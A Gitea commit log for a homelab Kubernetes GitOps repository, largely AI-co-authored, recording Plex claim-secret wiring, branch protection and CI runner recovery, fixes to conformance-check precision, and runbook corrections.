The tracked next-step said "align gate.yml's push trigger with this repo's feat/** prefix". Doing that literally would have made things worse, so this does the opposite. act_runner runs at capacity 1. A branch push and its PR fire the SAME gate over the SAME tree, and the redundant run SERIALISES AHEAD of the PR run -- doubling the wall clock on the one result that gates the merge. Adding another prefix widens that, it does not fix it. infra/plex/claim-ship.sh currently has to pick a feat/ branch name specifically to DODGE this, during a loop that is racing a short-lived token. The prefix list also silently failed to match this repo's own convention: branches here are feat/**, which was absent, so the "fast feedback" never fired for the most common prefix. Nobody noticed for a month because the only symptom of a wrong entry is a MISSING run. Any hand-maintained prefix list has that failure mode. Deleting the list removes the whole class rather than correcting one entry. It was redundant anyway: CLAUDE.md already requires ./ci/gate.sh in the pinned toolbox before pushing (74s locally), and the PR gate re-runs it authoritatively. push: [main] is KEPT -- post-merge main must still be verified, and it is the only run for which no PR context exists. FOLLOW-UP once this and #5 are both merged: the feat/ rationale in infra/plex/claim-ship.sh becomes obsolete and its comment should be trimmed. The script keeps working either way. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
8e017fad91 |
docs(runbooks): the PR flow, not git push origin main -- that instruction is now blocked
main became a protected branch on 2026-09-29, so the direct push that 37 of 39 runbooks instructed is REJECTED. The wording was merely stale before; it is now actively wrong, and it is the line an operator reads mid-incident. Every occurrence now describes the real path: push a branch, open a PR, merge once the gate is green -- that merge is the deploy. 35 files shared one identical block; flux-reconcile.md, README.md and plex-claim.md each said it their own way and were corrected individually. plex-claim.md is rewritten around the delivery loop and records that THE SERVER IS NOW CLAIMED (PlexOnlineToken present in /config), so PLEX_CLAIM is a permanent no-op and the page only applies after a /config wipe. Adds infra/plex/claim-ship.sh, which drives branch -> commit -> push -> PR -> gate -> merge -> reconcile -> pod roll -> verdict with a stopwatch. Three steps are easy to lose under time pressure and two are SILENT when skipped: --with-source (without it the Kustomization applies the previously-fetched revision), the mandatory rollout restart (only the ciphertext changes, so the pod template is byte-identical and nothing restarts itself), and the feat/ branch prefix (act_runner capacity is 1, and a prefix inside gate.yml's push trigger fires a redundant run that serialises ahead of the PR run). Drops the "~4-minute TTL" the page asserted in four places. It was uncited, and upstream pms-docker documents no expiry at all. The countdown on plex.tv/claim is the authority. Measured loop: ~2m45s. DECISIONS-LOG carries the PM handoff: both halves of the 2026-08-31 CI claim were false, the stale-.runner root cause, the four-deep Flux dependency cascade, and the correction that a skipped Gitea job reports success rather than hanging. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
 gitea-admin
|
27d0ef3324 | Merge pull request 'chore(plex): fresh plex.tv claim token' (#4) from feat/plex-claim-token-013124 into main | ||
|
jakman85
|
bbd4f682a6 |
chore(plex): fresh plex.tv claim token
Injected inside the plex.tv claim window per runbooks/plex-claim.md. |
||
|
jakman85
|
0391139240 |
Merge pull request 'feat(plex): wire PLEX_CLAIM from a SOPS Secret (placeholder value)' (#1) from feat/plex-claim-sops-secret into main
Reviewed-on: #1 |
||
|
jakman85
|
e9f441b5ce |
Merge pull request 'docs(gitea): a skipped job reports SUCCESS, not pending' (#3) from fix/conformance-context-is-fail-open into main
Reviewed-on: #3 |
||
|
jakman85andClaude Opus 5
|
234cc6a71a |
docs(gitea): a skipped job reports SUCCESS, not pending -- correct the deadlock claim
The runner came up on 2026-09-29 and the first CI jobs this repo has ever run went green, which falsified a claim merged in #2. MEASURED: gate / gate (pull_request) success 1m58s (PR 1), 1m34s (PR 2) gate / gate (push) success 1m32s (PR 2 only) gate / conformance (pull_request) success "Has been skipped" #2 said listing the conformance context as a required check would deadlock every PR, because the job is `if: false` and never runs. That is wrong. Gitea reports a skipped job as SUCCESS. Requiring it would not deadlock anything -- it would pass VACUOUSLY, forever, while nothing ran. The conclusion is unchanged (never require it) but the reason inverts, and the corrected reason matters more: under HARD RULE 4 a permanently-green check that verifies nothing is worse than a deadlock. A deadlock is loud. This is the exact fail-open shape the 2026-09-18 audit and this one both keep finding. Also records that the (push) contexts only appear for branches matching gate.yml's push trigger -- feature/**, fix/**, docs/**, chore/** -- and NOT feat/**, which is why PR 1's feat/ branch produced only pull_request contexts. Require the pull_request context alone, or PRs from non-matching prefixes never satisfy the rule. CLAUDE.md's enforcement table is updated: the runner half is genuinely fixed and observed green, the branch-protection half is not. Adds the warning that a green tick is not by itself evidence that anything ran. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85
|
69a0d1a1c7 |
Merge pull request 'docs: delivery contract for agents + record that the merge gate does not exist' (#2) from docs/ci-delivery-flow-for-agents into main
Reviewed-on: #2 |
||
|
jakman85
|
d3a0d587a4 | Added gitea action runner secret | ||
|
jakman85andClaude Opus 5
|
fe862ab527 |
infra(gitea): recover the Actions runner before anything requires the gate
No runner is registered at repo, org or site level, so gate.yml has never executed. PR #1 sat pending for 30.6 minutes across 122 polls and never reported. Requiring the gate as a status check in that state would lock the repo permanently. Adds runner-token-rotate.sh: mints a fresh instance-level registration token from the Gitea API and writes it into the SOPS secret via sops set, without ever printing the value. Records the likely root cause, which a new token alone does NOT fix. act_runner registers once and persists its identity in /data/.runner on the act-runner-data PVC. If Gitea no longer holds a matching runner row, the pod starts, sees .runner, SKIPS registration entirely, and polls with an identity Gitea does not recognise. Symptom: zero runners, pod running, nothing obviously broken. Clearing the PVC is what forces a genuine re-registration. The README now sequences runner-first, enforcement-second, and requires CONFIRMING the runner reports online rather than assuming it. That assumption is the whole defect: DECISIONS-LOG recorded the runner as online on 2026-08-31 and nobody checked since. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
a2665c0511 |
infra(gitea): script the branch protection that was never applied
Gitea repo settings live in its own database, not in a manifest Flux reconciles, so they are drift-prone and invisible to the conformance gate -- which is how main came to accept direct pushes while the log recorded it as protected. Adds infra/gitea/branch-protection.sh (blocks direct pushes to main) and a README carrying the measured before-state and the ORDER the remaining steps must happen in. The script deliberately leaves enable_status_check:false and required_approvals:0. Both would deadlock today: there is no runner to satisfy a required context, and the only human account is not yet a repo collaborator, so no one could supply an approval. The README sequences both. It prints a push probe to run afterwards. The API response is not proof -- Gitea may let site admins bypass protection, and that has to be observed, not assumed. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
5a9e455149 |
docs: delivery contract for agents + record that the merge gate does not exist
Going to land the plex claim wiring through the documented PR flow surfaced that the flow has never run. PR #1 is the first pull request this repo has ever had. Verified against the live Gitea, not inferred from the docs: * branch_protections is [] -- main is protected:false, enable_status_check:false, status_check_contexts:[], required_approvals:0, user_can_push:true * ZERO Actions runners registered at repo, org and site level DECISIONS-LOG 2026-08-31 asserts a "required status check" and a runner "incluster-dind online". Both are false of the live system. The gate is neither enforced nor able to run, and that went unnoticed because the log claimed otherwise -- the same fail-open class as the two holes found on 2026-09-18. Adds CLAUDE.md, the first agent-facing delivery doc here: the branch -> PR -> gate -> approval -> merge rule, stated alongside the honest fact that enforcement is currently weaker than the rule, so agents follow the rule rather than what they can get away with. Carries the toolbox gate invocation, the two git-worktree workarounds, the rc 0/1/3 contract, and secret handling. Records the ordering trap: enabling a required status check before a runner exists deadlocks every PR permanently, including the one that would fix it. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
4fd75ccdaa |
feat(plex): wire PLEX_CLAIM from a SOPS Secret so the server can be claimed
Plex cannot create libraries over the already-mounted 8.33T NFS bulk share while the server is UNCLAIMED. catalog/plex.yaml carried a long argument for leaving PLEX_CLAIM unwired; the operator has decided to override it. This implements the wiring in the way that respects the half of that argument which is still true. WHAT WAS TRUE AND STILL IS: a https://plex.tv/claim token has a ~4-minute TTL, far shorter than commit -> push -> Flux reconcile -> pod-roll on its own timers. So the committed value is a documented PLACEHOLDER and the live token is injected by the operator inside that window, with the reconcile FORCED rather than waited for. runbooks/plex-claim.md is that timed procedure. WHAT WAS NOT TRUE: the old comment claimed "a placeholder/absent claim Secret would crashloop the pod". Half of that is wrong, and the difference is the whole design. Established from plexinc/pms-docker's own first-run script (branch `master`, root/etc/cont-init.d/40-plex-first-run, s6-overlay v2), cross-checked byte-identical against the same file inside the running :latest image: * the claim exchange (line 106) is gated on PLEX_CLAIM being non-empty AND the PlexOnlineToken pref in /config being empty. Once the server is claimed the block is skipped entirely, so the env is a NO-OP on every later start whatever it holds ("If server is already logged in, this parameter is ignored" -- upstream README). * with an invalid/expired token on a still-unclaimed /config, plex.tv answers 403 with an empty body; curl's status is never checked, the token sed yields empty, the success branch at line 120 does not fire, there is no else branch and no non-zero exit, and the script (no `set -e`) exits 0. The pod comes up UNCLAIMED AND SERVING. It does not crashloop. * the image never sets S6_BEHAVIOUR_IF_STAGE2_FAILS (default 0 = continue even if a cont-init script failed), so even a non-zero exit would not halt startup. An ABSENT Secret is the real hard failure (secretKeyRef has no `optional`, so it is CreateContainerConfigError), which is why the Secret is committed, encrypted and listed in the wave kustomization rather than hand-created at claim time. NO SCHEMA CHANGE. `optional` on secretKeyRef would only be needed if the pod had to tolerate a missing Secret or could not start without a VALID token. Neither holds: the Secret always exists in the Flux graph, and an invalid token is non-fatal. schemas/servicedefinition.schema.json is untouched, and so are catalog/render.py's env emission and the renderer contract. Changes: * apps/wave-0/plex-claim-secret.sops.yaml -- new Opaque Secret plex-claim/plex, key PLEX_CLAIM, SOPS-encrypted to the committed age recipient. Its header carries NO dollar-brace expressions on purpose: kustomize preserves body comments into the stream envsubst reads (per conformance/tests/l0-static/flux-postbuild-substitution), so quoting the upstream shell conditions verbatim would have been a live substitution hazard on apps-wave-0, not prose. * catalog/plex.yaml -- the PLEX_CLAIM env via valueFrom.secretKeyRef, the "deliberately NOT set" block rewritten around the TTL + one-shot design, and the stale crashloop claim in the /config storage comment corrected. * apps/wave-0/plex.yaml -- re-rendered with the canonical command (`--all catalog -o apps --wave-layout --no-image-automation`). No L1 golden under conformance/tests/l1-rendering covers plex, so this is the only rendered surface that moves. * catalog/render.py -- plan_apps_waves places `<svc>-claim-secret.sops.yaml` in the app's OWN wave, like the bootstrap secret, plus a selftest assertion. Without this, the next `--emit-waves` would have silently dropped the Secret from apps/wave-0/kustomization.yaml and put the pod into CreateContainerConfigError. apps/wave-0/kustomization.yaml is the hand-pruned subset (vm-demo/keycloak are rendered but deliberately unlisted), so its one new line was applied without re-emitting the rest. * runbooks/plex-claim.md + its kustomization.yaml generator entry + README index -- the operator procedure that fits in 4 minutes, including the single forced-reconcile command and the mandatory pod roll (a changed Secret does NOT restart anything: PLEX_CLAIM is read only at container start and the pod template is byte-identical across this change). Touched requirements: R-SEC-01 (secrets encrypted at rest), R-GITOPS-02 (ServiceDefinition onboarding contract). Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85
|
d7f24d0a9e | merge: fix/unit-test-coverage-means-asserted-not-mentioned | ||
|
jakman85andClaude Opus 5
|
712f4c9336 |
fix(conformance): "unit-tested" counted an alert MENTIONED in a comment as tested
alert-rules-unit-tested decided whether an alert had a unit test with a bare word
match over the whole test file. Any mention counted — including prose in a `#`
comment.
Hit for real while adding platform/monitoring/tests/vpn-egress.test.yaml. Its header
explains that VPNTunnelDown stays quiet during an egress-steering failure, and that
sentence alone made this check declare VPNTunnelDown "asserted on" and demand its
removal from UNTESTED_ALERTS. Removing the entry would have recorded coverage that did
not exist — the precise "looks fixed" outcome this check exists to prevent, produced
by the check itself. (In that instance I made the coverage real instead, which also
exposed that the fixtures were missing tun0's receive counter entirely.)
Now an alert counts only when a test file names it in an assertion position, with
comment lines stripped first so a commented-out assertion does not count either.
BOTH promtool idioms are accepted, because both are real assertions:
alert_rule_test: - alertname: CNPGPrimariesCoLocated
promql_expr_test: - expr: 'ALERTS{alertname="CNPGPrimariesCoLocated"}'
Matching only the first is not a stricter check, it is a WRONG one: it reported
CNPGPrimariesCoLocated as untested when platform/cnpg/alerts.promtool-test.yaml pins
it across four scenarios entirely through the second form. Believing that would have
produced a redundant duplicate test for an alert already covered better than most —
so the first version of this very fix had to be corrected before it landed.
MEASURED BEFORE LANDING, because the registers are shrink-only and a prose-only alert
would have required an entry this check forbids adding: of 61 alerts, 32 are asserted
in one of the two idioms, 29 are not mentioned at all (already declared), and ZERO were
prose-only. So this tightening failed nothing on the day it landed.
My first measurement said 31/30/0 and was wrong in a way worth recording: it scanned
only tests/*.test.yaml and missed the <manifest>.promtool-test.yaml companion
convention, which is exactly what hid the CNPGPrimariesCoLocated false negative.
Verified in both directions: 134 assertions pass with the real coverage intact, and a
temporary prose-only mention of NodeExporterDown (a registered untested alert) leaves
it correctly listed as untested instead of triggering the stale-entry failure.
Gated: offline l0,l1 --include-scope whole-repo — 24 cases, 0 failures, 0 skips,
0 unwired.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
e3e56af461 |
docs(decisions-log): overnight handoff — backup alert crying wolf, 49 unmapped app manifests, egress branch finished
Records the three fixes and, in each case, the thing that was reporting green or red over something other than what it claimed to measure. Includes corrections to my own numbers (the '192 unmapped files' figure was my audit script's regex matching across a newline, not the repo) and the two check defects the egress branch exposed. PM HANDOFF lists open items in priority order. R-STATE-02 remains the Phase 7 exit item and is blocked on the permission classifier, not on readiness. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
jakman85andClaude Opus 5
|
a3f4ddb971 |
merge: feat/egress-gateway-staleness-alert — finished so it can actually pass the gate
Brings the two alerts for the silent egress-gateway failure: VPNEgressSteeringStale
(critical) and VPNEgressUplinkLabelMissing (warning), plus the kube-state-metrics
allowlist entry that makes them non-inert.
WHY THE BRANCH SAT IN THE BACKLOG: it could not pass the merge gate. Three
whole-repo checks failed on it, and each one was a real gap rather than a nuisance:
* alert-runbooks-resolvable — both alerts link to /runbooks/vpn-egress-stale,
which did not exist. An alert firing now would hand the operator a 404.
* alert-rules-unit-tested — alerts.yaml is already a covered file, so new rules
in it must be tested or a "tested" file quietly grows untested rules.
* alert-metrics-have-scrape-targets — see the guard bug below.
WHAT THE ALERTS CATCH. egress-class=vpn pods leave through one gateway node's tun0;
Cilium resolves it to an ifindex and caches it. An OpenVPN reconnect destroys and
re-creates tun0 with a NEW ifindex, and the node label
homelab.keithjackson.dev/egress-uplink=<addr>-<ifindex> is what forces Cilium to
re-resolve. If the label does not follow the tunnel, the cache points at a destroyed
interface and every vpn-class pod is silently dropped — while tun0 stays up and
VPNTunnelDown says nothing. That ran ~80 minutes undetected on the dev gateway.
Verified this is live on prod, not inert: k3s-prod-3 carries egress-gateway=true and
egress-uplink=10.150.192.86-139, and vpn-egress-steering has been in place 14 days.
The label was exported on 0 series before this change, so the allowlist entry is
what switches the alerts on.
runbooks/vpn-egress-stale.md — written and wired into the configMapGenerator, with
the four required operator sections. It leads with proving egress from a pod the
policy selects, because the symptom is "outbound traffic silently disappears", and
it says plainly not to "fix" this by deleting the policy: that does not restore
egress, it sends vpn-class traffic out of the real ISP connection, which is the leak
the class exists to prevent.
platform/monitoring/tests/vpn-egress.test.yaml — four promtool fixtures. 1 and 2 are
the SAME tunnel reconnect with and without the label following it, which isolates the
mechanism the rule actually keys on: a label VALUE change is not a changing sample,
it retires one series and starts another. 3 is the inert case (gateway node, no uplink
label) where the critical rule CANNOT fire, which is why the warning exists.
Two fixes the branch needed that were defects in the checks themselves:
1. alert-metrics-have-scrape-targets asserted the KSM allowlist matched
`nodes=[...egress-gateway]` with a literal closing bracket — i.e. that the list
contained EXACTLY that one label. Adding a second label correctly (egress-uplink,
which these alerts need) therefore FAILED the check while the property it guards
was perfectly satisfied. Loosened to `[,\]]`: in the list, not the whole list. A
guard that breaks when you correctly extend the thing it guards teaches people to
edit the guard, which is how it stops guarding.
2. UNTESTED_ALERTS listed VPNTunnelDown, and the check flagged it as stale because
"asserted on" is a bare word match over the test file — my header COMMENT
mentioning VPNTunnelDown was enough to count as coverage. Rather than delete the
register entry and claim coverage that did not exist, the fixtures now assert
VPNTunnelDown QUIET in all four cases. That required making them faithful: they
had no node_network_receive_bytes_total{device="tun0"} at all, so VPNTunnelDown
would have been firing throughout unnoticed, because promtool only checks the
alertnames you name. A healthy tun0 passes traffic, and that silence IS the claim
these rules exist for.
NOTE FOR LATER, not fixed here: that word-match means any alert named in prose counts
as tested. Tightening it to `alertname:` positions could reveal other prose-only
"coverage", and the register is shrink-only, so the cascade wants doing deliberately
rather than at 01:00 unattended.
Conflicts resolved: kept HEAD's Velero custom-resource-state block and took only the
branch's one-line allowlist change (14 lines down to 1); inserted the branch's
2026-09-12 DECISIONS-LOG entry in date order rather than appending it out of sequence.
Gated: offline l0,l1 --include-scope whole-repo — 24 cases, 0 failures, 0 skips,
0 unwired. The new unit tests pass under the pinned promtool 3.14.0.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
jakman85
|
5f3ea63b7f | merge: fix/touched-requirements-maps-apps-and-c2 | ||
|
jakman85andClaude Opus 5
|
23c335257b |
fix(ci): apps/* and the C2 UI attributed no requirement, so no behaviour test gated them
ci/touched-requirements.sh's coarse path map had no arm for apps/*. A change adding
or editing ANY workload on the cluster — 49 tracked manifests across apps/wave-0,
-1, -2 and apps/vms — attributed zero requirements, so the merge gate selected only
the whole-repo-scoped checks and none of the requirement-scoped L2 behaviour tests.
The tests that enforce default-deny, egress class and auth mode did not run on
exactly the changes that can violate them. Kyverno admission and the L0 egress-path
check are real backstops, but admission is post-merge and the gate exists to catch
it first.
platform/homepage and platform/headlamp were unmapped too — the C2 UI. That gap was
already written down in changed_diff()'s rule-3 comment ("the ONLY route to
R-C2-01/02 was rule 3", i.e. editing the C2 test itself) and had sat there since.
Twelve arms added: apps/vms/* (ordered BEFORE apps/*, because `case` takes the first
match), apps/*, platform/homepage|headlamp, platform/kubevirt, platform/gateway,
platform/coredns, platform/crafty, platform/external-snapshotter|backup, runbooks/*,
platform-config/*, platform/kustomization.yaml and .sops.yaml.
platform/kustomization.yaml earns its own arm: it is the assembly list, so one
deleted line disables an entire platform component while every file it points at
stays perfectly valid on disk. That is the most consequential single-line edit in
the repo and it attributed nothing.
Measured effect for an apps/ change, via --print-selection:
before: 0 requirement-scoped tests
after: 13 (3 L1, 8 L2, 2 L3)
Coverage stays 51/51, so the gate's "attributed IDs must be covered" assertion does
not false-block.
Ten new assertions in ci/tests/touched-requirements.test.sh (26 total, all passing),
including the ORDER property — apps/vms/* must win over apps/* — because arm order
is a real failure mode of `case`, not merely a question of both arms existing. Each
fixture cites no R-ID of its own, so any ID in the output came from the PATH and not
the content scan.
A correction on numbers I reported earlier in this session: I claimed "192 unmapped
files", then "182". Both were inflated by my own audit script rather than the repo.
Its regex used `[^)]*`, which matches across a newline, so the first arm parsed as
`case "$1" in\n catalog/*` and never matched anything; I also mis-parsed
alternation arms like `.gitea/*|ci/*`, which made ci/ look unmapped when it is
mapped. True remainder after this change is 18 files, all prose or captured
artifacts (docs/plans/, root READMEs, .standup-dns/*.txt).
Gated: offline l0,l1,meta --include-scope whole-repo, exit 0.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
jakman85
|
9339d5a79e | merge: fix/velero-skip-emptydir-volumes | ||
|
jakman85andClaude Opus 5
|
a1cc0a5556 |
fix(velero): skip emptyDir volumes by type; revert the narrower namespace exclusion
Supersedes
|
||
|
jakman85
|
6eaaaae334 | merge: fix/node-memory-swap-cnpg-placement | ||
|
jakman85andClaude Opus 5
|
cde02d19d2 |
fix(runbooks): node-memory-swap claimed the CNPG primaries sit on node 1
They do not, and the correction changes the operator's plan rather than just a detail. Verified live: all three CNPG clusters run 3 instances spread one per node by required anti-affinity, and k3s-prod-1 holds a REPLICA of each (keycloak-db-2, nextcloud-db-2, semaphore-db-2). No primary is on node 1, so draining it forces no failover at all — the best state this maintenance could ask for. The original sentence was carried over from earlier session state and was simply stale; the runbook now prints the command to re-derive it, because primaries move on their own after any restart or failover. Adds the warning that matters more. CNPGPrimariesCoLocated is currently firing for k3s-prod-2, which holds both the keycloak-db and semaphore-db primaries. The instinct is to tidy that before a maintenance window. Doing so would be actively harmful here: rebalancing means promoting a replica, the only node with spare primary capacity is node 1, and so "fixing" the alert would put a primary on the very node about to be powered off — converting a no-failover drain into a two-database failover. Rebalance after node 1 is back and caught up. Gated: L0 whole-repo 21 cases, 0 failures, 0 skips, 0 unwired. Co-Authored-By: Claude Opus 5 <[email protected]> |